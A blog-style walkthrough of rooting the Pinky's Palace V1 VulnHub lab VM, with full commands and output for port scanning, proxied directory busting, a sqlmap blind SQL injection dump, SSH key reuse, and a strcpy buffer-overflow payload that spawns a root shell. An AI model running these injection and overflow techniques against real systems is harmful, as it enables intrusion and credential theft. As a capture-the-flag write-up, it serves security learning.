Today I’ll be detailing how to compromise Pink_Panther’s most excellent Pinky’s Palace V1 VM from start to finish. This VM was really interesting, including a few fun things that I’d not previously messed with (Squid proxy for example!)
Victim Discovery and Port Mapping
First up, host discovery.
root@kali:~# netdiscover -i eth1 -r 192.168.56.101/24
Currently scanning: Finished! | Screen View: Unique Hosts
3 Captured ARP Req/Rep packets, from 3 hosts. Total size: 180
IP At MAC Address Count Len MAC Vendor / Hostname
192.168.56.1 0a:00:27:00:00:06 1 60 Unknown vendor
192.168.56.100 08:00:27:4f:28:49 1 60 PCS Systemtechnik GmbH
192.168.56.103 08:00:27:a3:c5:2a 1 60 PCS Systemtechnik GmbH
Victim’s at 192.168.56.103! Next up port scanning, to see what services are running on the box.
root@kali:~# nmap -sV -T5 -sC -p- 192.168.56.103
Starting Nmap 7.60 ( https://nmap.org ) at 2018-03-29 18:39 BST
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.56.103
Host is up (0.0012s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
8080/tcp open http nginx 1.10.3
|_http-title: 403 Forbidden
31337/tcp open http-proxy Squid http proxy 3.5.23
|_http-title: ERROR: The requested URL could not be retrieved
64666/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u2 (protocol 2.0)
| 2048 df:02:12:4f:4c:6d:50:27:6a:84:e9:0e:5b:65:bf:a0 (RSA)
| 256 0a:ad:aa:c7:16:f7:15:07:f0:a8:50:23:17:f3:1c:2e (ECDSA)
|_ 256 4a:2d:e5:d8:ee:69:61:55:bb:db:af:29:4e:54:52:2f (EdDSA)
MAC Address: 08:00:27:A3:C5:2A (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 42.25 seconds
Right. This is very interesting. Web server on port 8080 which is returning a 403 Forbidden error, Squid HTTP Proxy on port
elite 31337 (hopefully you already see what needs to happen, but no problem if not!) and SSH running on port 64666 instead of the usual 22 (presumably to trip up people who are only scanning the standard top 1000 ports which nmap is configured to hit by default.
First of all we’ll be dilligent pentesters and scan the webserver with Dirb and Nikto (although I predict that both will fail.)
Dirb and Nikto Round 1
With the above prediction in mind! Dirb says:
root@kali:~# dirb http://192.168.56.103:8080/
---- Scanning URL: http://192.168.56.103:8080/ ----
(!) WARNING: All responses for this directory seem to be CODE = 403.
(Use mode '-w' if you want to scan it anyway)
END_TIME: Thu Mar 29 18:45:52 2018
DOWNLOADED: 101 - FOUND: 0
And Nikto says…. Absolutely nothing. It wasn’t very happy at all and sat doing nothing for 10 minutes before I hit CTRL+C!
So the next logical thing is the webserver is configured to only accept traffic from localhost, so if we were to set our box up to use Squid Proxy for HTTP comms then things might start working..!
Proxied Dirb says…..
EXACTLY THE SAME AS ABOVE!
Ditto Proxied Nikto. Navigating to the browser for inspiration yielded the 403 error as expected when a proxy wasn’t specified, but when going back to the site with a proxy then the following output is observed:
The standard Squid error page. Notice the very bottom line though: Generated Thu. 29 Mar…….. by pinkys-palace
It was at this point that I wondered if maybe adding a record to /etc/hosts to resolve pinkys-palace to 192.168.56.103 would work.
Bingo! Nothing interesting in the page’s source code but at least now we can try Dirbuster / Nikto against the box again and see what we can see.
Dirbuster and Nikto #2
In reverse order, Nikto reported nothing of interest but Dirbuster came through for us –
Out of 283393 requests, only one item of interest was discovered! Absolutely nothing was discovered with any of the Dirb wordlists, which is what prompted me to change tact and try Dirbuster’s wordlists instead.
SIDE NOTE: Dirbuster is an excellent tool but it seems quite easy to get into a rabbit hole of trying to “bust” for example “/////////” if the webserver returns a 200 code for that kind of URL, which of course is just wasted processing, Dirb doesn’t have that issue.
Little Secrets (-main)
the little secrets login page looks like the above ^ with a HTML comment saying –
” <!– Luckily I only allow localhost access to my webserver! Now I won’t get hacked. –>”
– Haha nah, thanks to your dodgy Squid Proxy we’re attacking via Localhost 😉
So we start by running the usual barrage of SQL injection etc. to see what we can see.
root@kali:~# sqlmap --proxy=http://pinkys-palace:31337 --dbms=mysql --data="user=adm&pass=passw&submit=Login" --url http://pinkys-palace:8080/littlesecrets-main/login.php --level=5 --risk=3 --dump-all
Some time later the following pops out:
Awesome! Quite a lot of time later (because it’s a blind, time based SQL injection) the following pops out:
[23:36:32] [INFO] retrieved: pinky
[23:37:07] [INFO] retrieved: f543dbfeaf238729831a321c7a68bee4
[23:38:55] [INFO] retrieved: pinkymanage
[23:39:28] [INFO] retrieved: d60dffed7cc0d87e1f4a11aa06ca73af
Those look like MD5 hashes! Searching for them in Crackstation yields the following:
So we have a valid login! It doesn’t seem to work in the app (???) but it works fine as an SSH login:
root@kali:~# ssh email@example.com -p 64666
Linux pinkys-palace 4.9.0-4-amd64 #1 SMP Debian 4.9.65-3+deb9u1 (2017-12-23) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Feb 2 04:00:51 2018 from 127.0.0.1
Poking around, we can see that there are two users on the box “pinkymanage” and “pinky”, pinky’s home directory is locked down completely so we go and poke around the web app directory instead for inspiration.
Under /var/www/html/littlesecrets-main/ultrasecretadminf1l35 there’s a “note.txt” talking about an RSA key, and a file named .ultrasecret containing said RSA key (albeit base64 encoded).
pinkymanage@pinkys-palace:/var/www/html/littlesecrets-main/ultrasecretadminf1l35$ base64 -d .ultrasecret > ~/decoded
pinkymanage@pinkys-palace:~$ ssh pinky@localhost -p 64666 -i ~/decoded
Last login: Fri Feb 2 05:54:01 2018 from 172.19.19.2
So straight away in Pinky’s home directory we see a note which says –
Been working on this program to help me when I need to do administrator tasks sudo is just too hard to configure and I can never remember my root password! Sadly I’m fairly new to C so I was working on my printing skills because Im not sure how to implement shell spawning yet 🙁
And a binary named ‘adminhelper’ with the sticky bit set (??) which appears to echo whatever it’s given back to the terminal. Disassembling the app with the (conveniently installed!) GDB shows us –
So fairly boilerplate stuff EXCEPT for the “spawn” function and what appears to be references to setegid, seteuid and execve… Three functions that execute something as whatever the effective UID and effective GID are set to (hopefully root, thanks to the sticky bit!)
The spawn function looks as follows –
As expected, 0 is put into rbp-0x4 and rbp-0x8 and then passed as arguments to seteuid and setegid which means that we’re setting our effective user / group IDs to 0 which is root!, then we load the address of a string out of memory and pass it as an argument to “execve”.
Running the app (to get the correct address offsets and looking at $rip+0xd9 shows us this –
So what this means is that if the app ever makes it into the spawn function, when the instruction pointer hits the execve line, the $RDI register will contain “/bin/sh”.. So putting all of this information together means that if we can get this spawn method to fire then we’ll spawn a root shell 🙂
So how to we get spawn to fire? Well luckily the main method has a buffer overflow!
Notice main+42, strcpy and not the modern replacement of “strncpy” 😀 The author has also been kind enough to disable ASLR so we can simply exploit that bufferoverflow to make EIP point at the first line of the spawn function. Huzzah!
The next step is trial and error with chucking more and more data into the program argument until we completely overwrite either EIP or the return address of main. Let’s do that now! After 5 minutes of jamming more and more 0x41s into the argument, eventually I found that the magic number 72 A’s to get to the point where we can overwrite EIP and then the next 6 bytes are the address which we want to jump to (AKA the start of the spawn method)
(gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBB
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/pinky/adminhelper AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBB
Program received signal SIGSEGV, Segmentation fault.
0x0000424242424242 in ?? ()
Notice that we’ve tried to “execute” an instruction at offset 0x0000424242424242! (The hex char for ‘B’) So now we just need to swap out the B’s for a real address at the start of the spawn method and we’re off!
pinky@pinkys-palace:~$ python -c "print 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xd0\x47\x55\x55\x55\x55'" > output
pinky@pinkys-palace:~$ ./adminhelper `cat output`
Yay! Let’s go and read the flag file –
# cd /root
# cat root.txt
[+] You r00ted Pinky's Palace Intermediate!
[+] I hope you enjoyed this box!
[+] Cheers to VulnHub!
[+] Twitter: @Pink_P4nther
AMAZING box! First boot 2 root I’ve done which has incorporated a buffer overflow element and I really enjoyed it. Just the perfect level of difficulty and interesting vulnerabilities throughout.
The key takeaways for me from this are to try multiple wordlists when executing dirbuster, don’t just rely on one list to find everything.
Thanks for reading, hope you enjoyed this.